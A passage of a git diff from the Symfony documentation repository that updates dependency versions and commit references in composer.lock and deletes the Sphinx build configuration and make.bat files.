-            "version": "v1.22.1",
+            "version": "v1.23.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-grapheme.git",
-                "reference": "5601e09b69f26c1828b13b6bb87cb07cddba3170"
+                "reference": "16880ba9c5ebe3642d1995ab866db29270b36535"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/5601e09b69f26c1828b13b6bb87cb07cddba3170",
-                "reference": "5601e09b69f26c1828b13b6bb87cb07cddba3170",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-grapheme/zipball/16880ba9c5ebe3642d1995ab866db29270b36535",
+                "reference": "16880ba9c5ebe3642d1995ab866db29270b36535",
                 "shasum": ""
             },
             "require": {
@@ -1014,7 +1097,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.22-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1054,7 +1137,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-intl-grapheme/tree/v1.23.1"
             },
             "funding": [
                 {
@@ -1070,20 +1153,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-22T09:19:47+00:00"
+            "time": "2021-05-27T12:26:48+00:00"
         },
         {
             "name": "symfony/polyfill-intl-normalizer",
-            "version": "v1.22.1",
+            "version": "v1.23.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-intl-normalizer.git",
-                "reference": "43a0283138253ed1d48d352ab6d0bdb3f809f248"
+                "reference": "8590a5f561694770bdcd3f9b5c69dde6945028e8"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/43a0283138253ed1d48d352ab6d0bdb3f809f248",
-                "reference": "43a0283138253ed1d48d352ab6d0bdb3f809f248",
+                "url": "https://api.github.com/repos/symfony/polyfill-intl-normalizer/zipball/8590a5f561694770bdcd3f9b5c69dde6945028e8",
+                "reference": "8590a5f561694770bdcd3f9b5c69dde6945028e8",
                 "shasum": ""
             },
             "require": {
@@ -1095,7 +1178,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.22-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1138,7 +1221,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-intl-normalizer/tree/v1.23.0"
             },
             "funding": [
                 {
@@ -1154,20 +1237,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-22T09:19:47+00:00"
+            "time": "2021-02-19T12:13:01+00:00"
         },
         {
             "name": "symfony/polyfill-mbstring",
-            "version": "v1.22.1",
+            "version": "v1.23.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-mbstring.git",
-                "reference": "5232de97ee3b75b0360528dae24e73db49566ab1"
+                "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/5232de97ee3b75b0360528dae24e73db49566ab1",
-                "reference": "5232de97ee3b75b0360528dae24e73db49566ab1",
+                "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/9174a3d80210dca8daa7f31fec659150bbeabfc6",
+                "reference": "9174a3d80210dca8daa7f31fec659150bbeabfc6",
                 "shasum": ""
             },
             "require": {
@@ -1179,7 +1262,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.22-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1218,7 +1301,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.23.1"
             },
             "funding": [
                 {
@@ -1234,20 +1317,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-22T09:19:47+00:00"
+            "time": "2021-05-27T12:26:48+00:00"
         },
         {
             "name": "symfony/polyfill-php73",
-            "version": "v1.22.1",
+            "version": "v1.23.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php73.git",
-                "reference": "a678b42e92f86eca04b7fa4c0f6f19d097fb69e2"
+                "reference": "fba8933c384d6476ab14fb7b8526e5287ca7e010"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/a678b42e92f86eca04b7fa4c0f6f19d097fb69e2",
-                "reference": "a678b42e92f86eca04b7fa4c0f6f19d097fb69e2",
+                "url": "https://api.github.com/repos/symfony/polyfill-php73/zipball/fba8933c384d6476ab14fb7b8526e5287ca7e010",
+                "reference": "fba8933c384d6476ab14fb7b8526e5287ca7e010",
                 "shasum": ""
             },
             "require": {
@@ -1256,7 +1339,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.22-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1297,7 +1380,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php73/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-php73/tree/v1.23.0"
             },
             "funding": [
                 {
@@ -1313,20 +1396,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-07T16:49:33+00:00"
+            "time": "2021-02-19T12:13:01+00:00"
         },
         {
             "name": "symfony/polyfill-php80",
-            "version": "v1.22.1",
+            "version": "v1.23.1",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/polyfill-php80.git",
-                "reference": "dc3063ba22c2a1fd2f45ed856374d79114998f91"
+                "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/dc3063ba22c2a1fd2f45ed856374d79114998f91",
-                "reference": "dc3063ba22c2a1fd2f45ed856374d79114998f91",
+                "url": "https://api.github.com/repos/symfony/polyfill-php80/zipball/1100343ed1a92e3a38f9ae122fc0eb21602547be",
+                "reference": "1100343ed1a92e3a38f9ae122fc0eb21602547be",
                 "shasum": ""
             },
             "require": {
@@ -1335,7 +1418,7 @@
             "type": "library",
             "extra": {
                 "branch-alias": {
-                    "dev-main": "1.22-dev"
+                    "dev-main": "1.23-dev"
                 },
                 "thanks": {
                     "name": "symfony/polyfill",
@@ -1380,7 +1463,7 @@
                 "shim"
             ],
             "support": {
-                "source": "https://github.com/symfony/polyfill-php80/tree/v1.22.1"
+                "source": "https://github.com/symfony/polyfill-php80/tree/v1.23.1"
             },
             "funding": [
                 {
@@ -1396,25 +1479,25 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-07T16:49:33+00:00"
+            "time": "2021-07-28T13:41:28+00:00"
         },
         {
             "name": "symfony/process",
-            "version": "v5.2.4",
+            "version": "5.4.x-dev",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/process.git",
-                "reference": "313a38f09c77fbcdc1d223e57d368cea76a2fd2f"
+                "reference": "6bacc79268fb8a2fac52c9f66afe5e041220233f"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/process/zipball/313a38f09c77fbcdc1d223e57d368cea76a2fd2f",
-                "reference": "313a38f09c77fbcdc1d223e57d368cea76a2fd2f",
+                "url": "https://api.github.com/repos/symfony/process/zipball/6bacc79268fb8a2fac52c9f66afe5e041220233f",
+                "reference": "6bacc79268fb8a2fac52c9f66afe5e041220233f",
                 "shasum": ""
             },
             "require": {
                 "php": ">=7.2.5",
-                "symfony/polyfill-php80": "^1.15"
+                "symfony/polyfill-php80": "^1.16"
             },
             "type": "library",
             "autoload": {
@@ -1442,7 +1525,7 @@
             "description": "Executes commands in sub-processes",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/process/tree/v5.2.4"
+                "source": "https://github.com/symfony/process/tree/5.4"
             },
             "funding": [
                 {
@@ -1458,7 +1541,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-01-27T10:15:41+00:00"
+            "time": "2021-11-03T09:24:47+00:00"
         },
         {
             "name": "symfony/service-contracts",
@@ -1541,16 +1624,16 @@
         },
         {
             "name": "symfony/string",
-            "version": "v5.2.6",
+            "version": "v5.3.10",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "ad0bd91bce2054103f5eaa18ebeba8d3bc2a0572"
+                "reference": "d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/ad0bd91bce2054103f5eaa18ebeba8d3bc2a0572",
-                "reference": "ad0bd91bce2054103f5eaa18ebeba8d3bc2a0572",
+                "url": "https://api.github.com/repos/symfony/string/zipball/d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c",
+                "reference": "d70c35bb20bbca71fc4ab7921e3c6bda1a82a60c",
                 "shasum": ""
             },
             "require": {
@@ -1604,7 +1687,85 @@
                 "utf8"
             ],
             "support": {
-                "source": "https://github.com/symfony/string/tree/v5.2.6"
+                "source": "https://github.com/symfony/string/tree/v5.3.10"
+            },
+            "funding": [
+                {
+                    "url": "https://symfony.com/sponsor",
+                    "type": "custom"
+                },
+                {
+                    "url": "https://github.com/fabpot",
+                    "type": "github"
+                },
+                {
+                    "url": "https://tidelift.com/funding/github/packagist/symfony/symfony",
+                    "type": "tidelift"
+                }
+            ],
+            "time": "2021-10-27T18:21:46+00:00"
+        },
+        {
+            "name": "symfony/translation-contracts",
+            "version": "v2.4.0",
+            "source": {
+                "type": "git",
+                "url": "https://github.com/symfony/translation-contracts.git",
+                "reference": "95c812666f3e91db75385749fe219c5e494c7f95"
+            },
+            "dist": {
+                "type": "zip",
+                "url": "https://api.github.com/repos/symfony/translation-contracts/zipball/95c812666f3e91db75385749fe219c5e494c7f95",
+                "reference": "95c812666f3e91db75385749fe219c5e494c7f95",
+                "shasum": ""
+            },
+            "require": {
+                "php": ">=7.2.5"
+            },
+            "suggest": {
+                "symfony/translation-implementation": ""
+            },
+            "type": "library",
+            "extra": {
+                "branch-alias": {
+                    "dev-main": "2.4-dev"
+                },
+                "thanks": {
+                    "name": "symfony/contracts",
+                    "url": "https://github.com/symfony/contracts"
+                }
+            },
+            "autoload": {
+                "psr-4": {
+                    "Symfony\\Contracts\\Translation\\": ""
+                }
+            },
+            "notification-url": "https://packagist.org/downloads/",
+            "license": [
+                "MIT"
+            ],
+            "authors": [
+                {
+                    "name": "Nicolas Grekas",
+                    "email": "p@tchwork.com"
+                },
+                {
+                    "name": "Symfony Community",
+                    "homepage": "https://symfony.com/contributors"
+                }
+            ],
+            "description": "Generic abstractions related to translation",
+            "homepage": "https://symfony.com",
+            "keywords": [
+                "abstractions",
+                "contracts",
+                "decoupling",
+                "interfaces",
+                "interoperability",
+                "standards"
+            ],
+            "support": {
+                "source": "https://github.com/symfony/translation-contracts/tree/v2.4.0"
             },
             "funding": [
                 {
@@ -1620,20 +1781,20 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-03-17T17:12:15+00:00"
+            "time": "2021-03-23T23:28:01+00:00"
         },
         {
             "name": "twig/twig",
-            "version": "v3.3.0",
+            "version": "v3.3.3",
             "source": {
                 "type": "git",
                 "url": "https://github.com/twigphp/Twig.git",
-                "reference": "1f3b7e2c06cc05d42936a8ad508ff1db7975cdc5"
+                "reference": "a27fa056df8a6384316288ca8b0fa3a35fdeb569"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/twigphp/Twig/zipball/1f3b7e2c06cc05d42936a8ad508ff1db7975cdc5",
-                "reference": "1f3b7e2c06cc05d42936a8ad508ff1db7975cdc5",
+                "url": "https://api.github.com/repos/twigphp/Twig/zipball/a27fa056df8a6384316288ca8b0fa3a35fdeb569",
+                "reference": "a27fa056df8a6384316288ca8b0fa3a35fdeb569",
                 "shasum": ""
             },
             "require": {
@@ -1643,7 +1804,7 @@
             },
             "require-dev": {
                 "psr/container": "^1.0",
-                "symfony/phpunit-bridge": "^4.4.9|^5.0.9"
+                "symfony/phpunit-bridge": "^4.4.9|^5.0.9|^6.0"
             },
             "type": "library",
             "extra": {
@@ -1684,7 +1845,7 @@
             ],
             "support": {
                 "issues": "https://github.com/twigphp/Twig/issues",
-                "source": "https://github.com/twigphp/Twig/tree/v3.3.0"
+                "source": "https://github.com/twigphp/Twig/tree/v3.3.3"
             },
             "funding": [
                 {
@@ -1696,7 +1857,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2021-02-08T09:54:36+00:00"
+            "time": "2021-09-17T08:44:23+00:00"
         }
     ],
     "packages-dev": [],
@@ -1712,5 +1873,5 @@
     "platform-overrides": {
         "php": "7.4.14"
     },
-    "plugin-api-version": "2.0.0"
+    "plugin-api-version": "2.1.0"
 }
diff --git a/_build/conf.py b/_build/conf.py
deleted file mode 100644
index 49cc12581ad..00000000000
--- a/_build/conf.py
+++ /dev/null
@@ -1,301 +0,0 @@
-# -*- coding: utf-8 -*-
-#
-# Symfony documentation build configuration file, created by
-# sphinx-quickstart on Sat Jul 28 21:58:57 2012.
-#
-# This file is execfile()d with the current directory set to its containing dir.
-#
-# Note that not all possible configuration values are present in this
-# autogenerated file.
-#
-# All configuration values have a default; values that are commented out
-# serve to show the default.
-
-import sys, os
-
-# If extensions (or modules to document with autodoc) are in another directory,
-# add these directories to sys.path here. If the directory is relative to the
-# documentation root, use os.path.abspath to make it absolute, like shown here.
-sys.path.append(os.path.abspath('_exts'))
-
-# adding PhpLexer
-from sphinx.highlighting import lexers
-from pygments.lexers.compiled import CLexer
-from pygments.lexers.shell import BashLexer
-from pygments.lexers.special import TextLexer
-from pygments.lexers.text import RstLexer
-from pygments.lexers.web import PhpLexer
-from symfonycom.sphinx.lexer import TerminalLexer
-
-# -- General configuration -----------------------------------------------------
-
-# If your documentation needs a minimal Sphinx version, state it here.
-needs_sphinx = '1.8.5'
-
-# Add any Sphinx extension module names here, as strings. They can be extensions
-# coming with Sphinx (named 'sphinx.ext.*') or your custom ones.
-extensions = [
-    'sphinx.ext.autodoc', 'sphinx.ext.doctest',
-    'sphinx.ext.todo', 'sphinx.ext.coverage', 'sphinx.ext.ifconfig',
-    'sphinx.ext.viewcode', 'sphinx.ext.extlinks',
-    'sensio.sphinx.codeblock', 'sensio.sphinx.configurationblock', 'sensio.sphinx.phpcode', 'sensio.sphinx.bestpractice'
-    #,'sphinxcontrib.spelling'
-]
-
-#spelling_show_sugestions=True
-#spelling_lang='en_US'
-#spelling_word_list_filename='_build/spelling_word_list.txt'
-
-# Add any paths that contain templates here, relative to this directory.
-# templates_path = ['_theme/_templates']
-
-# The suffix of source filenames.
-source_suffix = '.rst'
-
-# The encoding of source files.
-#source_encoding = 'utf-8-sig'
-
-# The master toctree document.
-master_doc = 'index'
-
-# General information about the project.
-project = 'Symfony Framework Documentation'
-copyright = ''
-
-# The version info for the project you're documenting, acts as replacement for
-# |version| and |release|, also used in various other places throughout the
-# built documents.
-#
-# The short X.Y version.
-# version = '2.2'
-# The full version, including alpha/beta/rc tags.
-# release = '2.2.13'
-
-# The language for content autogenerated by Sphinx. Refer to documentation
-# for a list of supported languages.
-#language = None
-
-# There are two options for replacing |today|: either, you set today to some
-# non-false value, then it is used:
-#today = ''
-# Else, today_fmt is used as the format for a strftime call.
-#today_fmt = '%B %d, %Y'
-
-# List of patterns, relative to source directory, that match files and
-# directories to ignore when looking for source files.
-exclude_patterns = ['_build']
-
-# The reST default role (used for this markup: `text`) to use for all documents.
-#default_role = None
-
-# If true, '()' will be appended to :func: etc. cross-reference text.
-#add_function_parentheses = True
-
-# If true, the current module name will be prepended to all description
-# unit titles (such as .. function::).
-#add_module_names = True
-
-# If true, sectionauthor and moduleauthor directives will be shown in the
-# output. They are ignored by default.
-#show_authors = False
-
-# The name of the Pygments (syntax highlighting) style to use.
-pygments_style = 'symfonycom.sphinx.SensioStyle'
-
-# A list of ignored prefixes for module index sorting.
-#modindex_common_prefix = []
-
-# -- Settings for symfony doc extension ---------------------------------------------------
-
-# enable highlighting for PHP code not between ``<?php ... ?>`` by default
-lexers['markdown'] = TextLexer()
-lexers['php'] = PhpLexer(startinline=True)
-lexers['php-annotations'] = PhpLexer(startinline=True)
-lexers['php-standalone'] = PhpLexer(startinline=True)
-lexers['php-symfony'] = PhpLexer(startinline=True)
-lexers['rst'] = RstLexer()
-lexers['varnish2'] = CLexer()
-lexers['varnish3'] = CLexer()
-lexers['varnish4'] = CLexer()
-lexers['terminal'] = TerminalLexer()
-lexers['env']  = BashLexer()
-
-config_block = {
-    'apache': 'Apache',
-    'markdown': 'Markdown',
-    'nginx': 'Nginx',
-    'rst': 'reStructuredText',
-    'varnish2': 'Varnish 2',
-    'varnish3': 'Varnish 3',
-    'varnish4': 'Varnish 4',
-    'env': '.env'
-}
-
-# don't enable Sphinx Domains
-primary_domain = None
-
-# set url for API links
-api_url = 'https://github.com/symfony/symfony/blob/master/src/%s.php'
-
-
-# -- Options for HTML output ---------------------------------------------------
-
-# The theme to use for HTML and HTML Help pages.  See the documentation for
-# a list of builtin themes.
-html_theme = "sphinx_rtd_theme"
-
-# Theme options are theme-specific and customize the look and feel of a theme
-# further.  For a list of options available for each theme, see the
-# documentation.
-html_theme_options = {
-    'logo_only': True,
-    'prev_next_buttons_location': None,
-    'style_nav_header_background': '#f0f0f0'
-}
-
-# Add any paths that contain custom themes here, relative to this directory.
-#html_theme_path = []
-
-# The name for this set of Sphinx documents.  If None, it defaults to
-# "<project> v<release> documentation".
-#html_title = None
-
-# A shorter title for the navigation bar.  Default is the same as html_title.
-#html_short_title = None
-
-# The name of an image file (relative to this directory) to place at the top
-# of the sidebar.
-html_logo = '_static/symfony-logo.svg'
-
-# The name of an image file (within the static path) to use as favicon of the
-# docs.  This file should be a Windows icon file (.ico) being 16x16 or 32x32
-# pixels large.
-#html_favicon = None
-
-# Add any paths that contain custom static files (such as style sheets) here,
-# relative to this directory. They are copied after the builtin static files,
-# so a file named "default.css" will overwrite the builtin "default.css".
-html_static_path = ['_static']
-html_css_files = ['rtd_custom.css']
-
-# If not '', a 'Last updated on:' timestamp is inserted at every page bottom,
-# using the given strftime format.
-#html_last_updated_fmt = '%b %d, %Y'
-
-# If true, SmartyPants will be used to convert quotes and dashes to
-# typographically correct entities.
-#html_use_smartypants = True
-
-# Custom sidebar templates, maps document names to template names.
-#html_sidebars = {}
-
-# Additional templates that should be rendered to pages, maps page names to
-# template names.
-#html_additional_pages = {}
-
-# If false, no module index is generated.
-#html_domain_indices = True
-
-# If false, no index is generated.
-#html_use_index = True
-
-# If true, the index is split into individual pages for each letter.
-#html_split_index = False
-
-# If true, links to the reST sources are added to the pages.
-#html_show_sourcelink = True
-
-# If true, "Created using Sphinx" is shown in the HTML footer. Default is True.
-#html_show_sphinx = True
-
-# If true, "(C) Copyright ..." is shown in the HTML footer. Default is True.
-#html_show_copyright = True
-
-# If true, an OpenSearch description file will be output, and all pages will
-# contain a <link> tag referring to it.  The value of this option must be the
-# base URL from which the finished HTML is served.
-#html_use_opensearch = ''
-
-# This is the file name suffix for HTML files (e.g. ".xhtml").
-#html_file_suffix = None
-
-# Output file base name for HTML help builder.
-htmlhelp_basename = 'SymfonyDoc'
-
-
-# -- Options for LaTeX output --------------------------------------------------
-
-latex_elements = {
-# The paper size ('letterpaper' or 'a4paper').
-#'papersize': 'letterpaper',
-
-# The font size ('10pt', '11pt' or '12pt').
-#'pointsize': '10pt',
-
-# Additional stuff for the LaTeX preamble.
-#'preamble': '',
-}
-
-# Grouping the document tree into LaTeX files. List of tuples
-# (source start file, target name, title, author, documentclass [howto/manual]).
-latex_documents = [
-  ('index', 'Symfony.tex', u'Symfony Documentation',
-   u'Symfony community', 'manual'),
-]
-
-# The name of an image file (relative to this directory) to place at the top of
-# the title page.
-#latex_logo = None
-
-# For "manual" documents, if this is true, then toplevel headings are parts,
-# not chapters.
-#latex_use_parts = False
-
-# If true, show page references after internal links.
-#latex_show_pagerefs = False
-
-# If true, show URL addresses after external links.
-#latex_show_urls = False
-
-# Documents to append as an appendix to all manuals.
-#latex_appendices = []
-
-# If false, no module index is generated.
-#latex_domain_indices = True
-
-
-# -- Options for manual page output --------------------------------------------
-
-# One entry per manual page. List of tuples
-# (source start file, name, description, authors, manual section).
-man_pages = [
-    ('index', 'symfony', u'Symfony Documentation',
-     [u'Symfony community'], 1)
-]
-
-# If true, show URL addresses after external links.
-#man_show_urls = False
-
-
-# -- Options for Texinfo output ------------------------------------------------
-
-# Grouping the document tree into Texinfo files. List of tuples
-# (source start file, target name, title, author,
-#  dir menu entry, description, category)
-texinfo_documents = [
-  ('index', 'Symfony', u'Symfony Documentation',
-   u'Symfony community', 'Symfony', 'One line description of project.',
-   'Miscellaneous'),
-]
-
-# Documents to append as an appendix to all manuals.
-#texinfo_appendices = []
-
-# If false, no module index is generated.
-#texinfo_domain_indices = True
-
-# How to display URL addresses: 'footnote', 'no', or 'inline'.
-#texinfo_show_urls = 'footnote'
-
-# Use PHP syntax highlighting in code examples by default
-highlight_language='php'
diff --git a/_build/make.bat b/_build/make.bat
deleted file mode 100644
index 6d3f205272f..00000000000
--- a/_build/make.bat
+++ /dev/null
@@ -1,263 +0,0 @@
-@ECHO OFF
-
-REM Command file for Sphinx documentation
-
-if "%SPHINXBUILD%" == "" (
-	set SPHINXBUILD=sphinx-build
-)
-set BUILDDIR=.
-set ALLSPHINXOPTS=-c %BUILDDIR% -d %BUILDDIR%/doctrees %SPHINXOPTS% ..
-set I18NSPHINXOPTS=%SPHINXOPTS% .
-if NOT "%PAPER%" == "" (
-	set ALLSPHINXOPTS=-D latex_paper_size=%PAPER% %ALLSPHINXOPTS%
-	set I18NSPHINXOPTS=-D latex_paper_size=%PAPER% %I18NSPHINXOPTS%
-)
-
-if "%1" == "" goto help
-
-if "%1" == "help" (
-	:help
-	echo.Please use `make ^<target^>` where ^<target^> is one of
-	echo.  html       to make standalone HTML files
-	echo.  dirhtml    to make HTML files named index.html in directories
-	echo.  singlehtml to make a single large HTML file
-	echo.  pickle     to make pickle files
-	echo.  json       to make JSON files
-	echo.  htmlhelp   to make HTML files and a HTML help project
-	echo.  qthelp     to make HTML files and a qthelp project
-	echo.  devhelp    to make HTML files and a Devhelp project
-	echo.  epub       to make an epub
-	echo.  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter
-	echo.  text       to make text files
-	echo.  man        to make manual pages
-	echo.  texinfo    to make Texinfo files
-	echo.  gettext    to make PO message catalogs
-	echo.  changes    to make an overview over all changed/added/deprecated items
-	echo.  xml        to make Docutils-native XML files
-	echo.  pseudoxml  to make pseudoxml-XML files for display purposes
-	echo.  linkcheck  to check all external links for integrity
-	echo.  doctest    to run all doctests embedded in the documentation if enabled
-	echo.  coverage   to run coverage check of the documentation if enabled
-	goto end
-)
-
-if "%1" == "clean" (
-	for /d %%i in (%BUILDDIR%\*) do rmdir /q /s %%i
-	del /q /s %BUILDDIR%\*
-	goto end
-)
-
-
-REM Check if sphinx-build is available and fallback to Python version if any
-%SPHINXBUILD% 2> nul
-if errorlevel 9009 goto sphinx_python
-goto sphinx_ok
-
-:sphinx_python
-
-set SPHINXBUILD=python -m sphinx.__init__
-%SPHINXBUILD% 2> nul
-if errorlevel 9009 (
-	echo.
-	echo.The 'sphinx-build' command was not found. Make sure you have Sphinx
-	echo.installed, then set the SPHINXBUILD environment variable to point
-	echo.to the full path of the 'sphinx-build' executable. Alternatively you
-	echo.may add the Sphinx directory to PATH.
-	echo.
-	echo.If you don't have Sphinx installed, grab it from
-	echo.http://sphinx-doc.org/
-	exit /b 1
-)
-
-:sphinx_ok
-
-
-if "%1" == "html" (
-	%SPHINXBUILD% -b html %ALLSPHINXOPTS% %BUILDDIR%/html
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/html.
-	goto end
-)
-
-if "%1" == "dirhtml" (
-	%SPHINXBUILD% -b dirhtml %ALLSPHINXOPTS% %BUILDDIR%/dirhtml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/dirhtml.
-	goto end
-)
-
-if "%1" == "singlehtml" (
-	%SPHINXBUILD% -b singlehtml %ALLSPHINXOPTS% %BUILDDIR%/singlehtml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The HTML pages are in %BUILDDIR%/singlehtml.
-	goto end
-)
-
-if "%1" == "pickle" (
-	%SPHINXBUILD% -b pickle %ALLSPHINXOPTS% %BUILDDIR%/pickle
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can process the pickle files.
-	goto end
-)
-
-if "%1" == "json" (
-	%SPHINXBUILD% -b json %ALLSPHINXOPTS% %BUILDDIR%/json
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can process the JSON files.
-	goto end
-)
-
-if "%1" == "htmlhelp" (
-	%SPHINXBUILD% -b htmlhelp %ALLSPHINXOPTS% %BUILDDIR%/htmlhelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can run HTML Help Workshop with the ^
-.hhp project file in %BUILDDIR%/htmlhelp.
-	goto end
-)
-
-if "%1" == "qthelp" (
-	%SPHINXBUILD% -b qthelp %ALLSPHINXOPTS% %BUILDDIR%/qthelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; now you can run "qcollectiongenerator" with the ^
-.qhcp project file in %BUILDDIR%/qthelp, like this:
-	echo.^> qcollectiongenerator %BUILDDIR%\qthelp\Symfony.qhcp
-	echo.To view the help file:
-	echo.^> assistant -collectionFile %BUILDDIR%\qthelp\Symfony.ghc
-	goto end
-)
-
-if "%1" == "devhelp" (
-	%SPHINXBUILD% -b devhelp %ALLSPHINXOPTS% %BUILDDIR%/devhelp
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished.
-	goto end
-)
-
-if "%1" == "epub" (
-	%SPHINXBUILD% -b epub %ALLSPHINXOPTS% %BUILDDIR%/epub
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The epub file is in %BUILDDIR%/epub.
-	goto end
-)
-
-if "%1" == "latex" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished; the LaTeX files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "latexpdf" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	cd %BUILDDIR%/latex
-	make all-pdf
-	cd %~dp0
-	echo.
-	echo.Build finished; the PDF files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "latexpdfja" (
-	%SPHINXBUILD% -b latex %ALLSPHINXOPTS% %BUILDDIR%/latex
-	cd %BUILDDIR%/latex
-	make all-pdf-ja
-	cd %~dp0
-	echo.
-	echo.Build finished; the PDF files are in %BUILDDIR%/latex.
-	goto end
-)
-
-if "%1" == "text" (
-	%SPHINXBUILD% -b text %ALLSPHINXOPTS% %BUILDDIR%/text
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The text files are in %BUILDDIR%/text.
-	goto end
-)
-
-if "%1" == "man" (
-	%SPHINXBUILD% -b man %ALLSPHINXOPTS% %BUILDDIR%/man
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The manual pages are in %BUILDDIR%/man.
-	goto end
-)
-
-if "%1" == "texinfo" (
-	%SPHINXBUILD% -b texinfo %ALLSPHINXOPTS% %BUILDDIR%/texinfo
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The Texinfo files are in %BUILDDIR%/texinfo.
-	goto end
-)
-
-if "%1" == "gettext" (
-	%SPHINXBUILD% -b gettext %I18NSPHINXOPTS% %BUILDDIR%/locale
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The message catalogs are in %BUILDDIR%/locale.
-	goto end
-)
-
-if "%1" == "changes" (
-	%SPHINXBUILD% -b changes %ALLSPHINXOPTS% %BUILDDIR%/changes
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.The overview file is in %BUILDDIR%/changes.
-	goto end
-)
-
-if "%1" == "linkcheck" (
-	%SPHINXBUILD% -b linkcheck %ALLSPHINXOPTS% %BUILDDIR%/linkcheck
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Link check complete; look for any errors in the above output ^
-or in %BUILDDIR%/linkcheck/output.txt.
-	goto end
-)
-
-if "%1" == "doctest" (
-	%SPHINXBUILD% -b doctest %ALLSPHINXOPTS% %BUILDDIR%/doctest
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Testing of doctests in the sources finished, look at the ^
-results in %BUILDDIR%/doctest/output.txt.
-	goto end
-)
-
-if "%1" == "coverage" (
-	%SPHINXBUILD% -b coverage %ALLSPHINXOPTS% %BUILDDIR%/coverage
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Testing of coverage in the sources finished, look at the ^
-results in %BUILDDIR%/coverage/python.txt.
-	goto end
-)
-
-if "%1" == "xml" (
-	%SPHINXBUILD% -b xml %ALLSPHINXOPTS% %BUILDDIR%/xml
-	if errorlevel 1 exit /b 1
-	echo.
-	echo.Build finished. The XML files are in %BUILDDIR%/xml.
-	goto end
-)
-
-if "%1" == "pseudoxml" (
